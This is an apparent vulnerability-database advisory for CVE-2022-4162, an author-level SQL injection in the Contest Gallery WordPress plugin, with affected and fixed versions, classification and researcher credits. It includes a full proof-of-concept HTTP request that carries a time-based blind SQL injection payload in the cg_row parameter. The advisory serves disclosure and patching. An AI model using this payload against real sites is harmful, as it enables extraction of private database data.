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Contest Gallery < 19.1.5 - Author+ SQL Injection

Description

The plugins do not escape the cg_row POST parameter before concatenating it to an SQL query in 3_row-order.php. This may allow malicious users with at least author privilege to leak sensitive information from the site's database.

Proof of Concept

POST /wp-admin/admin-ajax.php HTTP/1.1
Host: localhost:8080
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:106.0) Gecko/20100101 Firefox/106.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://localhost:8080/wp-admin/admin.php?page=contest-gallery%2Findex.php
X-Requested-With: XMLHttpRequest
Content-Type: multipart/form-data; boundary=---------------------------86534124218129715781120948050
Content-Length: 2038
Origin: http://localhost:8080
Connection: close
Cookie: wordpress_37d007a56d816107ce5b52c10342db37=pegasus%7C1668532775%7Ce9naGH0Y1x4WXb9vxCjC8JDEhkEcfRIJuC2uoLiJUrE%7Ce93774011f8915e8d1b69955e8c50a905c9040c9c17efcca7b42f24fb32f43e2; wp-settings-time-2=1667954049; wordpress_test_cookie=WP%20Cookie%20check; wp_lang=en_US; wordpress_logged_in_37d007a56d816107ce5b52c10342db37=pegasus%7C1668532775%7Ce9naGH0Y1x4WXb9vxCjC8JDEhkEcfRIJuC2uoLiJUrE%7C2bc19f40221c8d9c3d9219517701a229fe9080215045fe6a050c6d9b594282b3; wp-settings-time-5=1668392508; wp-settings-5=libraryContent%3Dupload
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin

-----------------------------86534124218129715781120948050
Content-Disposition: form-data; name="cgGalleryFormSubmit"

1
-----------------------------86534124218129715781120948050
Content-Disposition: form-data; name="action"

post_cg_gallery_view_control_backend
-----------------------------86534124218129715781120948050
Content-Disposition: form-data; name="cgGalleryHash"

355b5e0384230f74e41bc47f47d94aef
-----------------------------86534124218129715781120948050
Content-Disposition: form-data; name="cg_id"

1
-----------------------------86534124218129715781120948050
Content-Disposition: form-data; name="cg_row[1]"

1/**/AND/**/(SELECT/**/7741/**/FROM/**/(SELECT(SLEEP(5)))hlAf)
-----------------------------86534124218129715781120948050
Content-Disposition: form-data; name="cg_start"


-----------------------------86534124218129715781120948050
Content-Disposition: form-data; name="cg_step"

10
-----------------------------86534124218129715781120948050
Content-Disposition: form-data; name="cg_order"

custom
-----------------------------86534124218129715781120948050
Content-Disposition: form-data; name="cgVersionScripts"

19.1.4.1
-----------------------------86534124218129715781120948050
Content-Disposition: form-data; name="cg_search"


-----------------------------86534124218129715781120948050
Content-Disposition: form-data; name="cg_email[1]"

[email protected]
-----------------------------86534124218129715781120948050
Content-Disposition: form-data; name="cg_image_name[1]"

10x-featured-social-media-image-size
-----------------------------86534124218129715781120948050
Content-Disposition: form-data; name="chooseAction1"

1
-----------------------------86534124218129715781120948050
Content-Disposition: form-data; name="cgBackendHash"

e12e8782da8ac6c4f1725d81a9811524
-----------------------------86534124218129715781120948050
Content-Disposition: form-data; name="cgIsRealFormSubmit"

true
-----------------------------86534124218129715781120948050--
 

Affects Plugins

contest-gallery
Fixed in version 19.1.5.1
contest-gallery-pro
Fixed in version 19.1.5.1

References

CVE
CVE-2022-4162
URL
https://bulletin.iese.de/post/contest-gallery_19-1-4-1_9

Classification

Type

SQLI

OWASP top 10
A1: Injection
CWE
CWE-89

Miscellaneous

Original Researcher

Kunal Sharma (University of Kaiserslautern), Daniel Krohmer (Fraunhofer IESE)

Submitter

Daniel Krohmer

Submitter website
https://iese.fraunhofer.de/en.html
Verified

Yes

WPVDB ID
011500ac-17e4-4d4f-bbd9-1fec70511776

Timeline

Publicly Published

2022-12-05 (about 5 months ago)

Added

2022-12-05 (about 5 months ago)

Last Updated

2022-12-05 (about 5 months ago)

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